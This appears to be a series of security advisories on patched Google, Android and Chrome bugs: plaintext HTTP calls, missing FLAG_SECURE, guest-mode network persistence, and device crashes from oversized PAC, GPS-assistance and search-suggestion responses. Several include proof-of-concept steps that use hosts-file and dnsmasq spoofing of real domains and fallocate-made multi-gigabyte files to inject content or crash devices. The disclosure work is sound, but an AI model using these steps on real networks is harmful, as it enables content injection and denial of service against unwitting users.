google

ChromeOS Doesn’t Always Use SSL During Startup [CVE-2017-15397]

nightwatchcyber Advisories , , ,

Summary

ChromeOS did not use SSL in all network calls originating from the ChromeVox component during startup. This could potentially have allowed an MITM attacker to inject content into ChromeOS or crash the device. The vendor (Google) fixed this issue in Chrome M62. Google has assigned CVE-2017-15397 to track this issue.

Details

ChromeOS is the operating system developed by Google that runs on ChromeBook devices. It is build on top of Linux and around the Chrome browser.

By monitoring network traffic using a proxy we noticed that some network calls originating from the ChromeVox component did not use SSL. These calls occured during the startup process before a user logged in. Because these calls did not use SSL, it would be possible for an MITM attacker, in theory, to either inject their own content into ChromeOS, or crash the device by sending a very large packet. We did not conduct any follow-up testing to confirm either of these two possibilities.

To reproduce:
1. Setup a proxy with WiFi.
2. Switch ChromeOS device to use proxy.
3. Restart the device and on the login screen enable ChromeVox.
4. Observe calls to HTTP without SSL.

All testing was done on an Acer ChromeBook, running Chrome version 51.0.2704.106 *stable) and ChromeOS version 8172.62.0 (stable).

Vendor Response

This issue was responsibly reported to the vendor via the Chromium bug tracker. The vendor fixed this issue in ChromeOS release M62 and assigned CVE-2017-15397 to track it.

References

CVE ID: CVE-2017-15397
Chromium Bug # 627300

Bounty Information

This bug qualified for a bounty under the terms of the Google Chrome Rewards bounty program, and a bounty payment has been received.

Credits

Advisory written by Yakov Shafranovich.

Timeline

2016-07-12: Initial report to the vendor
2017-09-18: Issue patched by the vendor
2017-10-26: CVE assigned by the vendor
2018-01-01: Public disclosure

Chrome for Android Didn’t Use FLAG_SECURE for Credit Card Prefill Settings [CVE-2017-5082]

nightwatchcyber Advisories , ,

Summary

Chrome for Android did not use the FLAG_SECURE flag in the credit card prefills settings, potentially exposing sensitive data to other applications on the same device with the screen capture permissions. The vendor (Google) fixed this issue in Chrome M59. Google has assigned CVE-2017-5082 to track this issue.

Details

Chrome for Android is a version of the Chrome browser for Android platforms. It used to be part of the Android OS, but is now a separate application deployed by Google through the Google Play store. Chrome has a credit card pre-fills section in settings where users can store credit card information that can be used to pre-fill certain forms.

FLAG_SECURE is a special flag available to Android developers that prevents a particular screen within an application from being seen by other application with screen capture permissions, having screenshots taken by the user, or have the screen captured in the “Recent Apps” portion of Android OS. We have published an extensive post last year discussing this feature is and what it does.

During our testing of various Google mobile applications, we found that the credit card prefills section in Chrome for Android did not use FLAG_SECURE to prevent other applications for capturing that information. By contrast other Google applications like Android Pay and Google Wallet use this flag to prevent capture of sensitive information. Exploiting this bug requires user cooperation in installing a malicious app and activating the actual screen capture process, thus the likehood of exploitation is low.

To reproduce:
1. Open Chrome.
2. To go Settings, Autofill and payments, Credit Cards.
3. Tap on “Add credit card”.
4. Press Power and volume down to capture screenshot.
5. Confirm that a screenshot can be taken.

 

All testing was done on Android 7.1.2, security patch level of May 5th, 2017, on Chrome v58.0.3029.83 (stable).

Vendor Response

This issue was responsibly reported to the vendor via the Chromium bug tracker. The vendor fixed this issue in Chrome release M59 and assigned CVE-2017-5082 to track it.

References

CVE ID: CVE-2017-5082
Chromium Bug # 721579

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-15: Issue patched by the vendor
2016-05-30: CVE assigned by the vendor
2016-06-05: Fixed version released
2016-07-16: Request for public disclosure sent to the vendor
2017-07-26: Permission to disclose received
2017-07-27: Public disclosure

Advisory: Google’s Android News and Weather App Doesn’t Always Use SSL [CVE-2017-9245]

nightwatchcyber Advisories ,

Summary

Google News and Weather Application for Android does not use SSL for some server calls, exposing authentication tokens (OAuth) to anyone monitoring the network. It is not clear if the tokens belong to the user’s account or a service account. The vendor (Google) fixed the issue in v3.3.1 of the application and users should install the latest version. MITRE has assigned CVE-2017-9245 to track this issue.

Details

The Google News and Weather application for Android is an application developed by Google which aggregates news from multiple sources. This application was originally included as part of the stock Android operating system but was separated into its own application around August 2014.

While performing network level testing of various Google applications, we discovered that some of the calls made by the application to Google’s server did not use SSL. Furthermore, analysis of the captured traffic showed that an authentication token (OAuth) was sent as part of those calls, thus exposing it to an attacker that is monitoring the network. It is not clear from our testing whether this token belonged to the user using the application, or was some sort of a service account.

We also did not test earlier versions of the application, so it is also unclear whether this issue affects older versions of Android where this is part of the stock operating system.

To replicate the issue on v3.1.4:

  1. Install the application and open it.
  2. Flick away the application.
  3. Setup the proxy without an SSL certificate and point the Android device to it.
  4. Go back to the application and select any news feed, and then click on a news article from a site that doesn’t use SSL.
  5. Go back to the proxy and observe captured traffic.

All testing was done on Android 7 and application v3.1.4. Network captures were performed using an on-device proxy (PacketCapture) without a trusted SSL certificate.

Screenshots below – note that sensitive data has been blanked out:

s2   s3

Vendor Response

This issue was responsibly reported to the vendor and fixed in version 3.3.1 which was released in late June 2017. It is not clear if older versions of Android that include this as part of the OS are affected and/or fixable.

References

CVE ID: CVE-2017-9245
News and Weather App: Google Play Store

Bounty Information

This bug satisfied the rules of the Google Vulnerability Reward Program (VRP) program and a bounty was paid.

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-11: Report triaged by the vendor and bug filed
2017-05-26: Bounty decision received from vendor
2017-06-29: Fixed version released by the vendor
2017-07-12: Fixed version tested to confirm the fix
2017-07-12: Draft advisory sent to vendor for comment
2017-07-18: Public disclosure

Advisory: Google I/O 2017 Android App Doesn’t Use SSL for Some Content [CVE-2017-9045]

nightwatchcyber Advisories , ,

Summary

Google I/O 2017 Application for Android does not use SSL for retrieving some information to populate the app. This would allow an MITM attacker to inject their own content into the application. The vendor (Google) fixed the issue in v5.1.4 of the application.

Details

The Google I/O 2017 application for Android is a companion app produced by Google for their annual I/O conference that takes place in May. This particular version was produced for I/O conference in May of 2017.

While performing network level testing of various Google applications, we discovered that the content for the application did not use SSL. This would allow an MITM attacker to inject their own content into the application using a method like ARP spoofing, DNS takeover, etc.

To replicate the issue on v5.0.3:

  1. Install the application
  2. Setup the proxy without an SSL certificate and point the Android device to it.
  3. Go to the application and select the “feed” option (middle icon on the bottom).
  4. Go back to the proxy and observe captured traffic.

Screenshots of the feed before and after the data is loaded:

Screenshot_20170516-205242  Screenshot_20170516-220959

Network traffic captures appear as follows:

Screenshot_20170511-202707   Screenshot_20170511-202713

The specific URL was “http://storage.googleapis.com/io2017-festivus/manifest_v1.json” which then causes the device to download additional URLs. The following URLs are downloaded:

This can also be seen in the source code of the I/O 2016 application on Github as follows:

google_github

All testing was done on Android 7, Google I/O version 5.0.3. Network captures were performed using an on-device proxy (PacketCapture) without a trusted SSL certificate.

Proof of Concept

All testing was done on Ubuntu v17.04 and Android 7:

  1. Install nginx – “sudo apt-get install nginx”.
  2. Install dnsmasq – “sudo apt-get install dnsmasq”
  3. Find out the IP address of your computer via ifconfig.
  4. Add the IP address mapping to the hosts file: “192.168.1.x  storage.googleapis.com”
  5. Create and download the files from Google to the NGINX directory:
    1. cd /var/www/html
    2. mkdir io2017-festivus
    3. cd io2017-festivus
    4. wget http://storage.googleapis.com/io2017-festivus/manifest_v1.json
    5. wget http://storage.googleapis.com/io2017-festivus/blocks_v4.json
    6. wget http://storage.googleapis.com/io2017-festivus/map_v4.json
    7. wget http://storage.googleapis.com/io2017-festivus/session_v1.70.json
  6. Modify “blocks_v4.json” to add your content.
  7. Install version 5.0.3 of the application on the Android device.
  8. Change DNS on the device to point to the Ubuntu machine.
  9. Open the app, skip sign in, and on the main screen choose the feed icon.
  10. Switch back to the first section and observe injected content:

Screenshot_20170516-223446

Vendor Response

This issue was responsibly reported to the vendor and fixed in version 5.1.4.

References

CVE ID: CVE-2017-9045

Google I/O 2016 source code: https://github.com/google/iosched

Bounty Information

Pending…

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-11: Report triaged by the vendor and bug filed
2017-05-13: Fixed version released by the vendor
2017-05-16: Draft advisory sent to vendor for comment
2017-05-17: Public disclosure

Advisory: ChromeOS / ChromeBooks Persist Certain Network Settings in Guest Mode

nightwatchcyber Advisories , , ,

Summary

Certain network settings in ChromeOS / ChromeBooks persists between reboots when set in guest mode. These issues have been reported to the vendor but will not be fixed since the vendor considers them to be WAI (Working As Intended). These attacks require physical access to the device in order to execute them but future avenues of research looking at network vectors should be undertaken.

Background

ChromeOS is the operating system developed by Google that runs on ChromeBook devices. It is build on top of Linux and around the Chrome browser. The OS has a guest mode which runs Chrome in anonymous mode on top of a temporary guest account. The data within that account is stored in RAM and is erased upon reboot. However, it appears from our research that some settings, especially network related ones, reside elsewhere and do persist between reboots.

Our original interest in this area was prompted by a standing $100,000 USD bounty offered by Google to an exploit “that can compromise a Chromebook or Chromebox with device persistence in guest mode (i.e. guest to guest persistence with interim reboot, delivered via a web page)”. While we have not been able to deliver these attacks via a web page, we did achieve some persistence in network settings in guest mode via physical access. Further research is needed to achieve remote exploitation.

Details

The following network settings were observed in guest mode as persisting between reboots if the change is made by a guest user while the Chromebook is in guest mode:

  • Details of WiFi network such as password, authentication, etc.
  • Preferred WiFi network
  • DNS settings on the currently connected WiFi network

To replicate, do the following:

  1. Login as a guest into the Chromebook.
  2. Click on settings, and:
    • Try to remove a WiFi network and add a new preferred network;
    • Or change settings for an existing network;
    • Or change DNS servers for an existing network
  3. Reboot, re-enter guest mode and observe settings persisting

The following settings only persist when changes are made on the login screen. If a user logs in as a guest user or a Google account, this goes away:

  • Proxy settings

To replicate:

  1. Start the Chromebook until Login prompt appears. DO NOT login.
  2. Click on settings, change the proxy settings in the current network.
  3. Reboot and go back to the login screen, confirm settings for proxy do persist.
  4. Login to an existing account or as guest, check settings again and observe that proxy settings are now greyed out.

Implications of this are most important in scenarios where a shared Chromebook is used in a public environment such as a library, school, etc. Using these attacks, a malicious user can modify the settings on a public ChromeBook to point to malicious DNS (like DNS Changer virus) or malicious WiFi hotspot, and subsequent users will not realize that their sessions are affected.

We have not been able to achieve remote exploitation, but an existing private Chrome API (chrome.networkingPrivate) would provide access to these settings even in guest mode. This API is not normally available via the Web, so an additional browser exploit would need to be chained to the issues described here to achieve a complete exploit. Another thing to note is that while guest mode normally runs under a RAM disk which is erased after the device is rebooted, the network settings appear to reside elsewhere within the device. That can be used as a further area of possible attacks.

All testing was done in 2016 on the following system, and it is not clear if other ChromeBook hardware is affected:

  • Device: Acer C7 Chromebook
  • Chrome Versions: 49.0.2623.95, 49.0.2623.111 and 51.0.2704.106 (stable)
  • ChromeOS Versions: 7834.60.0, 7834.66.0 and 8172.62.0 (stable parrot)

Vendor Response

The vendor has rejected all of these issues as WAI – working as intended. The vendor has provided the following explanation:

First of all, note that there are quite a few ways for network settings to propagate into sessions. DNS and proxy (per issue 627299) settings are just two of them. You can go further and just join the device to a malicious WiFi network that it’ll pick up again after rebooting (this is possible from the login screen, no need to start a guest session). Edit: There are more issues filed for these cases, cf. issue 600194 and issue 595563.

If we were to crack down on propagation of (malicious) network settings into sessions, we’d take quite a UX hit, as we’d have to prompt the user to reconfirm their network settings whenever the device is connected to a network that user hasn’t yet approved (and it’s quite unlikely for this to be effective). The alternative of only allowing the device owner to configure networks doesn’t fly either as it has the potential to lock out legitimate users.

Regarding programmatic injection of network settings, there is (1) device policy, which is already properly locked down (i.e. only open to enterprise admins, and settings aren’t Chrome-writable) and (2) chrome.networkPrivate, which is used by the settings screens and (3) direct DBus communication to shill. #2 and #3 require a Chrome browser exploit.

Even if malicious network config gets picked up by a session, it’s not entirely game over – TLS will flag maliciously redirected requests (assuming the attacker doesn’t have forged certs). There’s a chance of information leakage via insecure connections and/or observing the network though.

Given the above, the currently implemented trade-off is reasonable, so I’ll close this (and related bugs) as WAI. I’ve also updated the chromiumos sites page mentioned above – networks were never part of the protected device settings anyways, so the cited half-sentence was inaccurate from the start AFAICT.

Additional comments from the vendor:

It may be worth noting, as per your original interactions, that the current behavior is by design.  Networks may be marked shared or unshared by users, but networks added before sign-in are necessarily global in nature.  The default behavior is one meant to minimize unintended side effects — such as one user changing the proxy on another using the same shared network.  Beyond that, there is very little difference between connecting to a malicious upstream network and connecting to a non-malicious upstream network.  The security of the OS and its communications, using TLS, should remain unperturbed.  Guest mode itself does not provide stronger transit privacy guarantees by default as there are few default options for offsetting normal information leakage, such as DNS resolution or IP traffic.

References

Chrome Bugs: 595563, 600194, 600195 and 627299
Chrome Rewards bounty details: see here
Private networking API: see here

Credits

Advisory written by Yakov Shafranovich.

Timeline

2016-03-17: Bug 595563 reported
2016-03-21: Bug 595563 rejected
2016-04-03: Bugs 600194 and 600195 reported
2016-07-12: Bug 627299 reported
2016-08-09: Bugs 600194, 600195, 627299 rejected and opened to the public
2016-10-02: Bug 595563 opened to the public
2017-03-08: Copy of this advisory provided to Google for comment
2017-04-07: Final comments received from Google
2017-04-09: Public disclosure

Advisory: Crashing Android devices with large Proxy Auto Config (PAC) Files [CVE-2016-6723]

nightwatchcyber Advisories ,

Summary

Android devices can be crashed forcing a halt and then a soft reboot by downloading a large proxy auto config (PAC) file when adjusting the Android networking settings. This can also be exploited by an MITM attacker that can intercept and replace the PAC file. However, the bug is mitigated by multiple factors and the likelihood of exploitation is low.

This issue has been fixed in the November 2016 Android security bulletin.

Background – Proxy Auto Config (PAC) Files

Proxy Auto Config (PAC) files are text files that can be used as part of the network settings configuration to allow a web browser and other software that accesses the web. These files define which proxy servers should be used for which types of requests. They usually contain a Javascript function which can be called by the web browser to determine the type of proxy server to use. An example PAC file appears here:

function FindProxyForURL(url, host) {
  if (isResolvable(host))
    return "DIRECT";
  else
    return "PROXY proxy.mydomain.com:8080";
  }
}

A related standard called Web Proxy Auto-Discovery Protocol (WPAD) allows devices to find the locations of PAC files via DHCP and/or DNS. However, WPAD is not currently supported on Android.

Vulnerability Details

When configuring a network in Android, one of the options available in the “Advanced” section is ability to indicate a Proxy Auto Config (PAC) URL which will point to a PAC file described above. The current code in Android does not check whether the PAC file may be too large to load into memory, which allows an MITM attacker to replace a known PAC file (if served without SSL) with a large one of their own and crash the Android phone.

Example of settings dialog in Android:

pac-screen

The vulnerability is that the Java code does not check how large the data file actually is. If a file is served that is larger than the memory available on the device, this results in all memory being exhausted and the phone halting and then soft rebooting. The soft reboot was sufficient to recover from the crash and no data was lost. While we have not been able to achieve remote code execution, this code path can potentially be exploited for such attacks and would require more research.

The vulnerable code resides here – (PacManager.java, lines 120-127):

private static String get(Uri pacUri) throws IOException {
  URL url = new URL(pacUri.toString());
  URLConnection urlConnection = url.openConnection(java.net.Proxy.NO_PROXY);
  return new String(Streams.readFully(urlConnection.getInputStream()));
}

Specifically, the affected code is using Streams.readFully to read the entire file into memory without any kind of checks on how big the file actually is.

Because this attack require a user to configure a PAC file, and an attacker to be present and know about that file, and the file needs to be served without SSL to make the attack work, the possibility of an attacker pulling this off is low. This is also true because Android, unlike other operating systems does not support the WPAD protocol to retrieve PAC files automatically which can be exploited using a rouge access point or network.

Steps To Replicate (on Ubuntu 16.04)

1. Install NGINX:

sudo apt-get install nginx

2. Use fallocate to create a large PAC file in “/var/www/html/”

sudo fallocate -s 2.5G test.pac

3. Go in to advanced network settings on the Android device and add the following URL as the PAC URL: http://192.168.1.x/test.pac

Save the settings which will trigger the bug. Once the phone starts downloading the files, the screen will go black and it will reboot.

Mitigation Steps

Users should apply the November 2016 Android bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security Rewards and a bounty has been paid.

References

Android security bulletin: November 2016
CVE-ID: CVE-2016-6723
Google: Android bug # 215709 / AndroidID-30100884
Netscape PAC file format definition: here (via the Internet Archive)
WPAD Internet Draft: here
WPAD not supported on Android: see bug report here

Credits

Bug discovered by, and advisory written by Yakov Shafranovich.

Timeline

2016-07-11: Android bug report filed with Google
2016-07-19: Android bug confirmed as high
2016-08-18: Bug priority downgraded to moderate
2016-09-15: Coordination with Google on public disclosure
2016-11-07: Android security bulletin released with fix
2016-11-07: Public disclosure

Advisory: Crashing Android devices with large Assisted-GPS Data Files [CVE-2016-5348]

nightwatchcyber Advisories , ,

Summary

Android devices can be crashed remotely forcing a halt and then a soft reboot by a MITM attacker manipulating assisted GPS/GNSS data provided by Qualcomm. This issue affects the open source code in AOSP and proprietary code in a Java XTRA downloader provided by Qualcomm.

The Android issue was fixed by in the October 2016 Android bulletin. Additional patches have been issued by Qualcomm to the proprietary client in September of 2016.

This issue may also affect other platforms that use Qualcomm GPS chipsets and consume these files but that has not been tested by us, and requires further research.

Background – GPS and gpsOneXtra

Most mobile devices today include ability to locate themselves on the Earth’s surface by using the Global Positioning System (GPS), a system originally developed and currently maintained by the US military. Similar systems developed and maintained by other countries exist as well including Russia’s GLONASS, Europe’s Galileo, and China’s Beidou.

The GPS signals include an almanac which lists orbit and status information for each of the satellites in the GPS constellation. This allows the receivers to acquire the satellites quicker since the receiver would not need to search blindly for the location of each satellite. Similar functionality exists for other GNSS systems.

In order to solve the problem of almanac acquisition, Qualcomm developed the gpsOneXtra system in 2007 (also known as IZat XTRA Assistance since 2013). This system provides ability to GPS receivers to download the almanac data over the Internet from Qualcomm-operated servers. The format of these XTRA files is proprietary but seems to contain current satellite location data plus estimated locations for the next 7 days, as well as additional information to improve signal acquisition. Most Qualcomm mobile chipsets and GPS chips include support for this technology. A related Qualcomm technology called IZat adds ability to use WiFi and cellular networks for locations in addition to GPS.

Additional diagram of the system as described in Qualcomm’s informational booklet:

gps

Background – Android and gpsOneXtra Data Files

During our network monitoring of traffic originating from an Android test device, we discovered that the device makes periodic calls to the Qualcomm servers to retrieve gpsOneXtra assistance files. These requests were performed almost every time the device connected to a WiFi network. As discovered by our research and confirmed by the Android source code, the following URLs were used:

http://xtra1.gpsonextra.net/xtra.bin
http://xtra2.gpsonextra.net/xtra.bin
http://xtra3.gpsonextra.net/xtra.bin

http://xtrapath1.izatcloud.net/xtra2.bin
http://xtrapath2.izatcloud.net/xtra2.bin
http://xtrapath3.izatcloud.net/xtra2.bin

WHOIS record show that both domains – gpsonextra.net and izatcloud.net are owned by Qualcomm. Further inspection of those URLs indicate that both domains are being hosted and served from Amazon’s Cloudfront CDN service (with the exception of xtra1.gpsonextra.net which is being served directly by Qualcomm).

On the Android platform, our inspection of the Android source code shows that the file is requested by an OS-level Java process (GpsXtraDownloader.java), which passes the data to a C++ JNI class (com_android_server_location_GnssLocationProvider.cpp), which then injects the files into the Qualcomm modem or firmware. We have not inspected other platforms in detail, but suspect that a similar process is used.

Our testing was performed on Android v6.0, patch level of January 2016, on a Motorola Moto G (2nd gen) GSM phone, and confirmed on a Nexus 6P running Android v6.01, with May 2016 security patches.

Qualcomm has additionally performed testing on their proprietary Java XTRA downloader client confirming this vulnerability.

Vulnerability Details

Android platform downloads XTRA data files automatically when connecting to a new network. This originates from a Java class (GpsXtraDownloader.java), which then passes the file to a C++/JNI class (com_android_server_location_GnssLocationProvider.cpp) and then injects it into the Qualcomm modem.

diagram

The vulnerability is that both the Java and the C++ code do not check how large the data file actually is. If a file is served that is larger than the memory available on the device, this results in all memory being exhausted and the phone halting and then soft rebooting. The soft reboot was sufficient to recover from the crash and no data was lost. While we have not been able to achieve remote code execution in either the Qualcomm modem or in the Android OS, this code path can potentially be exploited for such attacks and would require more research.

To attack, an MITM attacker located anywhere on the network between the phone being attacked and Qualcomm’s servers can initiate this attack by intercepting the legitimate requests from the phone, and substituting their own, larger files. Because the default Chrome browser on Android reveals the model and build of the phone (as we have written about earlier), it would be possible to derive the maximum memory size from that information and deliver the appropriately sized attack file. Possible attackers can be hostile hotspots, hacked routers, or anywhere along the backbone. This is somewhat mitigated by the fact that the attack file would need to be as large as the memory on the phone.

The vulnerable code resides here – (GpsXtraDownloader.java, lines 120-127):

connection.connect();

int statusCode = connection.getResponseCode();

if (statusCode != HttpURLConnection.HTTP_OK) {

if (DEBUG) Log.d(TAG, “HTTP error downloading gps XTRA: “

+ statusCode);

return null;

}

return Streams.readFully(connection.getInputStream());

Specifically, the affected code is using Streams.readFully to read the entire file into memory without any kind of checks on how big the file actually is.

Additional vulnerable code is also in the C++ layer – (com_android_server_location_GnssLocationProvider.cpp, lines 856-858):

jbyte* bytes = (jbyte *)env->GetPrimitiveArrayCritical(data, 0);

sGpsXtraInterface->inject_xtra_data((char *)bytes, length);

env->ReleasePrimitiveArrayCritical(data, bytes, JNI_ABORT);

Once again, no size checking is done.

We were able to consistently crash several different Android phones via a local WiFi network with the following error message:

java.lang.OutOfMemoryError: Failed to allocate a 478173740 byte allocation with 16777216 free bytes and 252MB until OOM
at java.io.ByteArrayOutputStream.expand(ByteArrayOutputStream.java:91)
at java.io.ByteArrayOutputStream.write(ByteArrayOutputStream.java:201)
at libcore.io.Streams.readFullyNoClose(Streams.java:109)
at libcore.io.Streams.readFully(Streams.java:95)
at com.android.server.location.GpsXtraDownloader.doDownload(GpsXtraDownloader.java:124)
at com.android.server.location.GpsXtraDownloader.downloadXtraData(GpsXtraDownloader.java:90)
at com.android.server.location.GpsLocationProvider$10.run(GpsLocationProvider.java:882)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1113)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:588)
at java.lang.Thread.run(Thread.java:818)

(It should be noted that we were not able to consistently and reliable achieve a crash in the C++/JNI layer or the Qualcomm modem itself)

Steps To Replicate (on Ubuntu 16.04)

1. Install DNSMASQ:

sudo apt-get install dnsmasq

2. Install NGINX:

sudo apt-get install nginx

3. Modify the /etc/hosts file to add the following entries to map to the IP of the local computer (varies by vendor of the phone):

192.168.1.x xtra1.gpsonextra.net
192.168.1.x xtra2.gpsonextra.net
192.168.1.x xtra3.gpsonextra.net
192.168.1.x xtrapath1.izatcloud.net
192.168.1.x xtrapath2.izatcloud.net
192.168.1.x xtrapath3.izatcloud.net

4. Configure /etc/dnsmasq.conf file to listed on the IP:

listen-address=192.168.1.x

5. Restart DNSMASQ:

sudo /etc/init.d/dnsmasq restart

6. Use fallocate to create the bin files in “/var/www/html/”

sudo fallocate -s 2.5G xtra.bin
sudo fallocate -s 2.5G xtra2.bin
sudo fallocate -s 2.5G xtra3.bin

7. Modify the settings on the Android test phone to static, set DNS to point to “192.168.1.x”. AT THIS POINT – Android will resolve DNS against the local computer, and serve the GPS files from it.

To trigger the GPS download, disable WiFi and enable Wifi, or enable/disable Airplane mode. Once the phone starts downloading the files, the screen will go black and it will reboot.

PLEASE NOTE: on some models, the XTRA file is cached and not retrieved on every network connect. For those models, you may need to reboot the phone and/or follow the injection commands as described here. You can also use an app like GPS Status and ToolboxGPS Status and Toolbox.

The fix would be to check for file sizes in both Java and native C++ code.

Mitigation Steps

For the Android platform, users should apply the October 2016 Android security bulletin and any patches provided by Qualcomm. Please note that as per Qualcomm, the patches for this bug only include fixes to the Android Open Source Project (AOSP) and the Qualcomm Java XTRA downloader clients.

Apple and Microsoft have indicated to us via email that GPS-capable devices manufactured by them including iPad, iPhones, etc. and Microsoft Surface and Windows Phone devices are not affected by this bug.

Blackberry devices powered by Android are affected but the Blackberry 10 platform is not affected by this bug.

For other platforms, vendors should follow guidance provided by Qualcomm directly via an OEM bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security Rewards and a bounty has been paid.

References

Android security bulletin: October 2016
CERT/CC tracking: VR-179
CVE-ID: CVE-2016-5348
GNSS sample almanacs: here
Google: Android bug # 213747 / AndroidID-29555864; Android patch here
gpsOneXTRA information booklet: archived version here

CVE Information

As provided by Qualcomm:

CVE: CVE-2016-5348
Access Vector: Network
Security Risk: High
Vulnerability: CWE-400: Uncontrolled Resource Consumption (‘Resource Exhaustion’)
Description: When downloading a very large assistance data file, the client may crash due to out of memory error.
Change summary:

  1. check download size ContentLength before downloading data
  2. catch OOM exception

Credits

We would like to thank CERT/CC for helping to coordinate this process, and all of the vendors involved for helpful comments and a quick turnaround. This bug was discovered by Yakov Shafranovich, and the advisory was also written by Yakov Shafranovich.

Timeline

2016–06-20: Android bug report filed with Google
2016-06-21: Android bug confirmed
2016-06-21: Bug also reported to Qualcomm and CERT.
2016-09-14: Coordination with Qualcomm on public disclosure
2016-09-15: Coordination with Google on public disclosure
2016-10-03: Android security bulletin released with fix
2016-10-04: Public disclosure

Research: Crashing Browsers Remotely via Insecure Search Suggestions

nightwatchcyber Research , , , ,

Summary

Intercepting insecure search suggestion requests from browsers, and returning very large responses leads to browser crashes (but not RCE). Affected browsers are FireFox on the desktop and Android, and Chrome on desktop and Android – other Chromium and FireFox derived browsers maybe affected. Internet Explorer and Safari are not affected. The issue is exploitable remotely, albeit not easily.

Background – Search Suggestions

Most browsers, desktop and mobile, support a feature which allows users to type either in the address bar or the search box and see a list of “search suggestions”. These are similar to the search suggestions provided by most search engines within their homepages and search bars. Examples of search suggestions in the browser and search engine webpage appear below:

The protocol that underlies this mechanism is OpenSearch Suggestions Extensions, a JSON protocol running over HTTP (as defined here). This protocol allows browsers and other applications to send simple keyword queries to the search engine servers which return JSON responses translated by the browser into results in the search bar. It should be noted that some search engines define their own APIs instead of OpenSearch, which browsers then implement.

Search engines can also publish OpenSearch description documents (as defined here) and embed those in their webpages, which browsers can automatically discover and use. The discovery of new search engines happens automatically in some browsers when the user visits a particular site (Chrome and IE Edge [SSL only]), or triggered manually by the user via an icon in the search bar (FireFox). FireFox and Internet Explorer (prior to Edge) also support plugins and APIs for doing this as well.

An example of an open search description document defining the suggestion protocol from AOL Search (original from here) – note the bolded part that defines the search suggestion protocol:

<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"
                       xmlns:moz="http://www.mozilla.org/2006/browser/search/">
    <ShortName>AOL Search</ShortName>
    <Description>The AOL Search engine delivers great search results so
    you can search less and discover more.</Description>
    <Language>en-us</Language>
    <InputEncoding>UTF-8</InputEncoding>
    <Image width="16" height="16" type="image/x-icon">http://search.aol.com/favicon.ico</Image>
    <Url type="text/html" method="get" template="http://search.aol.com/aol/search?q={searchTerms}&amp;s_it=opensearch"/>
    <Url type="application/x-suggestions+json" template="http://autocomplete.search.aol.com/autocomplete/get?output=json&amp;it=opensearch&amp;q={searchTerms}"/>
    <moz:SearchForm>http://search.aol.com/aol/webhome</moz:SearchForm>
</OpenSearchDescription>

Background – Search Engines and HTTPS

Even in the the post-Snowden era, many popular search engines still do not support encryption (HTTPS). Other search engines may support HTTPS but also still support non-HTTPS connections and do not redirect users automatically to HTTPS. Because browser vendors tend to include the most popular search engines in specific countries by default, they end up including multiple search engines which are not using HTTPS. This also applies to the search suggestions endpoints used by browsers.

Some examples (for English locale, US only):

  • Android AOSP stock browser (source)
    • Bing (non-SSL version)
    • Yahoo (non-SSL version)
  • Chrome (desktop and Android) (source)
    • AOL Search (does not support SSL)
    • Ask.com (does not support SSL)
  • FireFox (desktop only) (source)
    • Ebay (does not support SSL)

Exploit Details

Because browsers include multiple non-HTTPS search engines with insecure search suggestions endpoints, it would be possible for an attacker on the network level to intercept the traffic flowing between the browser and the search engine endpoints, and substitute their own. If a very large response is returned (2+ GBs), the browser can run out of memory and crash. This is due to the fact that browsers do not check for sizes in the search suggestions responses. Obviously, this is more of an issue for mobile devices which have lower memory than desktops.

For Android AOSP browser and Chromium, this issue appear to be directly tied to the processing code of search engine responses. For FireFox, this is a more generic issue around large XMLHTTPRequest responses, which is what the browser is using internally for search suggestions. Our bug reports with the vendors provide more details on which code is causing this. This re-enforces the fact network traffic SHOULD NEVER be trusted.

The following crashes were observed – we have not been able to cause an RCE or a buffer overflow:

  • Android AOSP stock browser on Android (v4.4) – application crashes
  • Chrome v51 on Android (v6.01) – application crashes
  • Chrome v51 on desktop Linux (Ubuntu v16.04) – the entire computer freezes requires a reboot (this maybe to due to swapping being disabled with an SSD drive)
  • FireFox v47 on desktop Linux (Ubuntu v16.04) and Android (v6.01) – application crashes

Safari v9.1 and Internet Explorer 11 and Edge appear not to be are not affected, although a similar bug has happened before with Safari. We did not test prior versions of either Safari or IE. We also did not test any other browsers derived from Chromium or FireFox.

The practical exploitation of this issue is mitigated by several factors:

  • The attacker must have control over DNS and the network traffic of the victim machine. This is most likely in cases of a rogue WiFi hotspot or a hacked router.
  • Most browsers have a rather short timeout for search engine suggestions response, not allowing sufficient time for the large response packet to be transferred over network
  • Due to the very large response size needed to trigger this issue, it is only exploitable over broadband or local networks such as rogue WiFi hotspot

Vendor Responses

Google response re: Android AOSP browser:

The team reviewed this issue and don’t believe there is a security vulnerability here. It seems the worse things that can happen is the browser crashes due to resource exhaustion. The phone is still usable so there isn’t a denial of service.

Google response re: Chromium:

We don’t consider DoS to be a security vulnerability. See the Chrome Security FAQ:

https://www.chromium.org/Home/chromium-security/security-faq#TOC-Are-denial-of-service-issues-considered-security-bugs-

Mozilla / FireFox response has been to remove the security restriction on this bug, therefore indicating that this is not a security issue.

Steps to Replicate

(This is for Chrome but is similar for other browsers)

1. Install DNSMASQ and NGINX:
sudo apt-get install dnsmasq nginx
2. Modify the /etc/hosts file to add the following entries to map to the IP of the local computer (varies by vendor of the phone):
192.168.1.x ss.ask.com
3. Configure /etc/dnsmasq.conf file to listen on the IP:
listen-address=192.168.1.x
4. Restart DNSMASQ:
sudo /etc/init.d/dnsmasq restart
5. Use fallocate to create a file in “/var/www/html/”
sudo fallocate -l 5G query
6. Modify DNS settings on the test machine or the same machine to point to “192.168.1.x”. If same machine, modify resolve.conf as follows:
nameserver 192.168.1.x
7. Start Chrome, go to settings and choose “Ask.com” as the default search provider.
8. Open new tab and try to type something in the omnibox.

References

Android bug reports: 214784 and 214785
Chromium bug reports: 624779 and 624794 (patch accepted)
FireFox bug reports: 1283675 and 1283672
OpenSearch description document: doc here
OpenSearch Suggestions extension v1.1: doc here
Safari Search Suggestions bug: see ArsTechnica story here

Credits

Researched and written by Yakov Shafranovich.

Timeline

2016-06-30: Bug filed with Android
2016-06-30: Bug filed with Chromium
